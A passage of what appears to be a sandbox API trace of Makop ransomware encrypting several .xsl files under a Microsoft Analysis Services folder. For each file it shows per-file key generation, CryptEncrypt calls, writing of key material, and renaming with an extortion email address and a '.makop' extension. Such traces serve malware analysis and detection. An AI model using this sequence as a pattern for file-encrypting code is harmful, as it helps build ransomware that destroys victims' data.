pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0104.972] CryptDestroyKey (hKey=0x48c7168) returned 1 [0104.972] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0104.972] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0104.972] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0104.972] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0104.973] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0104.973] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0104.973] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0104.973] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0104.973] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.973] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4932, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4932, lpOverlapped=0x0) returned 1 [0104.975] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4940, dwBufLen=0x4940 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4940) returned 1 [0104.975] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.975] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4940, lpOverlapped=0x0) returned 1 [0104.976] CryptDestroyKey (hKey=0x48c7168) returned 1 [0104.976] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.976] SetEndOfFile (hFile=0x138) returned 1 [0104.982] GetProcessHeap () returned 0x48a0000 [0104.982] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0104.982] GetProcessHeap () returned 0x48a0000 [0104.982] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0104.983] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0104.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0104.984] CloseHandle (hObject=0x138) returned 1 [0104.984] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0104.984] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0104.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0104.987] GetProcessHeap () returned 0x48a0000 [0104.987] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0104.987] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0104.988] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0104.988] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0104.995] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0104.995] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0104.995] GetProcessHeap () returned 0x48a0000 [0104.995] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0104.995] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0104.996] CryptDestroyKey (hKey=0x48c7168) returned 1 [0104.996] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0104.996] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0104.996] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0104.996] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0104.996] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0104.996] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0104.997] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0104.997] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0104.997] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.997] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x78e4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x78e4, lpOverlapped=0x0) returned 1 [0104.999] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x78f0, dwBufLen=0x78f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x78f0) returned 1 [0104.999] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.000] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x78f0, lpOverlapped=0x0) returned 1 [0105.000] CryptDestroyKey (hKey=0x48c7168) returned 1 [0105.000] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x79c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.001] SetEndOfFile (hFile=0x138) returned 1 [0105.008] GetProcessHeap () returned 0x48a0000 [0105.009] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.009] GetProcessHeap () returned 0x48a0000 [0105.009] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.009] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0105.009] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.011] CloseHandle (hObject=0x138) returned 1 [0105.011] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0105.011] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0105.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.012] GetProcessHeap () returned 0x48a0000 [0105.012] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.012] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.012] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0105.012] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0105.017] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0105.017] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.017] GetProcessHeap () returned 0x48a0000 [0105.017] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0105.017] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0105.017] CryptDestroyKey (hKey=0x48c7168) returned 1 [0105.018] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0105.018] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0105.018] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0105.018] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0105.018] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0105.018] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0105.019] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0105.019] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.019] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.019] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x712e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x712e, lpOverlapped=0x0) returned 1 [0105.022] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7130, dwBufLen=0x7130 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7130) returned 1 [0105.023] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.023] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7130, lpOverlapped=0x0) returned 1 [0105.023] CryptDestroyKey (hKey=0x48c7168) returned 1 [0105.023] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x71f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.023] SetEndOfFile (hFile=0x138) returned 1 [0105.031] GetProcessHeap () returned 0x48a0000 [0105.031] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0105.031] GetProcessHeap () returned 0x48a0000 [0105.031] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.031] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0105.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.033] CloseHandle (hObject=0x138) returned 1 [0105.033] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0105.033] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned 79 [0105.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.035] GetProcessHeap () returned 0x48a0000 [0105.035] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.035] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.035] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0105.035] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0105.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0105.040] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.040] GetProcessHeap () returned 0x48a0000 [0105.040] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0105.040] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0105.040] CryptDestroyKey (hKey=0x48c7168) returned 1 [0105.041] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0105.041] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0105.041] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0105.041] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0105.041] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0105.042] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0105.042] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0105.042] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0105.042] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.042] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x851c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x851c, lpOverlapped=0x0) returned 1 [0105.045] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x8520, dwBufLen=0x8520 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x8520) returned 1 [0105.045] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.045] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x8520, lpOverlapped=0x0) returned 1 [0105.046] CryptDestroyKey (hKey=0x48c7168) returned 1 [0105.046] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x85f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.046] SetEndOfFile (hFile=0x138) returned 1 [0105.053] GetProcessHeap () returned 0x48a0000 [0105.054] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0105.054] GetProcessHeap () returned 0x48a0000 [0105.054] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0105.054] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0105.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0105.055] CloseHandle (hObject=0x138) returned 1 [0105.056] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0105.056] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0105.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0105.060] GetProcessHeap () returned 0x48a0000 [0105.060] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0105.060] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0105.060] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0105.060] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 